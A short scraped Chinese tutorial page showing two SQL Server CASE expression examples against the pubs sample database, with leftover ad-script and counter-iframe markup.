SQL条件判断语句

 

HTML Tags and JavaScript tutorial

SQL条件判断语句

<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


SELECT
 CASE
 WHEN price IS NULL THEN 'Not yet priced'
 WHEN price < 10 THEN 'Very Reasonable Title'
 WHEN price >= 10 and price < 20 THEN 'Coffee Table Title'
 ELSE 'Expensive book!'
 END AS "Price Category",
CONVERT(varchar(20), title) AS "Shortened Title"
FROM pubs.dbo.titles
ORDER BY price
 第二种：
SELECT au_fname, au_lname,
   CASE state
      WHEN 'CA' THEN 'California'
      WHEN 'KS' THEN 'Kansas'
      WHEN 'TN' THEN 'Tennessee'
      WHEN 'OR' THEN 'Oregon'
      WHEN 'MI' THEN 'Michigan'
      WHEN 'IN' THEN 'Indiana'
      WHEN 'MD' THEN 'Maryland'
      WHEN 'UT' THEN 'Utah'
        END AS StateName
FROM pubs.dbo.authors
ORDER BY au_lname
 

src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">